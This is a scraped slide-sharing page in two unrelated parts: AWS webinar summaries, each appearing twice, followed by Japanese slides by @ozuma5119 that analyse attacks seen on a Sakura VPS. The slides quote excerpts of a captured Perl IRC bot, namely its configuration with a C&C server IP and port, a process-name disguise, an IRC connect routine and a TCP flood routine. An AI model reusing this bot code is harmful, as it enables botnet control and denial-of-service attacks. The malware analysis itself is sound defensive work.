Amazon SageMaker is a fully managed service that enables developers and data scientists to build, train, and deploy machine learning (ML) models quickly. It provides algorithms, notebooks, APIs and scalable infrastructure for building ML models. Some key features of SageMaker include algorithms for common ML tasks, notebooks for developing models, APIs for training and deployment, and scalable infrastructure for training and hosting models. It also integrates with other AWS services like S3, EC2 and VPC.
This document provides an overview and agenda for an AWS webinar on AWS Glue. It introduces AWS Glue as a fully managed and serverless ETL service that can manage metadata for various data sources. The webinar will cover the background of AWS Glue, its key features including being serverless and enabling secure development in notebooks, use cases, pricing, and a conclusion. It also provides details on the components and functions of AWS Glue like the data catalog, orchestration, and serverless engines.
The document provides information about an AWS webinar on AWS Systems Manager presented by Solutions Architect Kayoko Ishibashi. It includes an agenda for the webinar covering an overview of AWS Systems Manager, demonstrations of key features like resource groups, inventory, automation, and security best practices. The webinar aims to help participants understand the overall capabilities of AWS Systems Manager and how it can be used to securely manage and operate AWS environments and hybrid environments at scale.
This document provides an overview of AWS CloudHSM, a managed cryptographic key management service by AWS. It discusses AWS CloudHSM and AWS KMS services for key management, compares their features, and describes how AWS CloudHSM provides FIPS 140-2 Level 3 compliant HSMs for single-tenant key storage and cryptographic operations offloading. The presentation agenda includes cryptography basics, AWS key management, AWS CloudHSM capabilities and use cases, management and operations.
Amazon SageMaker is a fully managed service that enables developers and data scientists to build, train, and deploy machine learning (ML) models quickly. It provides algorithms, notebooks, APIs and scalable infrastructure for building ML models. Some key features of SageMaker include algorithms for common ML tasks, notebooks for developing models, APIs for training and deployment, and scalable infrastructure for training and hosting models. It also integrates with other AWS services like S3, EC2 and VPC.
This document provides an overview and agenda for an AWS webinar on AWS Glue. It introduces AWS Glue as a fully managed and serverless ETL service that can manage metadata for various data sources. The webinar will cover the background of AWS Glue, its key features including being serverless and enabling secure development in notebooks, use cases, pricing, and a conclusion. It also provides details on the components and functions of AWS Glue like the data catalog, orchestration, and serverless engines.
The document provides information about an AWS webinar on AWS Systems Manager presented by Solutions Architect Kayoko Ishibashi. It includes an agenda for the webinar covering an overview of AWS Systems Manager, demonstrations of key features like resource groups, inventory, automation, and security best practices. The webinar aims to help participants understand the overall capabilities of AWS Systems Manager and how it can be used to securely manage and operate AWS environments and hybrid environments at scale.
This document provides an overview of AWS CloudHSM, a managed cryptographic key management service by AWS. It discusses AWS CloudHSM and AWS KMS services for key management, compares their features, and describes how AWS CloudHSM provides FIPS 140-2 Level 3 compliant HSMs for single-tenant key storage and cryptographic operations offloading. The presentation agenda includes cryptography basics, AWS key management, AWS CloudHSM capabilities and use cases, management and operations.
24. bpn - Perlbot抜粋
さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 24
#!/usr/bin/perl
my $processo
=("suid","/usr/sbin/sshd","rpc.idmapd","auditd","crond","klogd -x");
my @titi = ("index.php?page=","main.php?page=");
my $goni = $titi[rand scalar @titi];
my $linas_max='3';
my $sleep='7';
my @adms=("LaCannA","amd-64bit" );
my
@hostauth=("lacannabiscaffe.smok","amd.de.lacannabiscaffe.smok");
my @canais=("#coffeeshop");
chop (my $nick = `uname`);
my $ircname =("weed");
my $realname = ("mary");
$servidor="209.20.83.28" unless $servidor;
my $porta='53';
209.20.83.28 : Rackspace Hosting
(アメリカのホスティング会社)
ポート53
26. Perlbot抜粋 その2
さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 26
sub conectar {
my $meunick = $_[0];
my $servidor_con = $_[1];
my $porta_con = $_[2];
my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp",
PeerAddr=>"$servidor_con", PeerPort=>$porta_con) or return(1);
if (defined($IRC_socket)) {
$IRC_cur_socket = $IRC_socket;
$IRC_socket->autoflush(1);
$sel_cliente->add($IRC_socket);
$irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";
$irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";
$irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
C&Cサーバ接続機能(IRC)
27. Perlbot抜粋 その3
さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 27
sub tcpflooder {
my $itime = time;
my ($cur_time);
my ($ia,$pa,$proto,$j,$l,$t);
$ia=inet_aton($_[0]);
$pa=sockaddr_in($_[1],$ia);
$ftime=$_[2];
$proto=getprotobyname('tcp');
$j=0;$l=0;
$cur_time = time - $itime;
while ($l<1000){
$cur_time = time - $itime;
last if $cur_time >= $ftime;
$t="SOCK$l";
socket($t,PF_INET,SOCK_STREAM,$proto);
connect($t,$pa)||$j--;
$j++;$l++;
}
DoS攻撃機能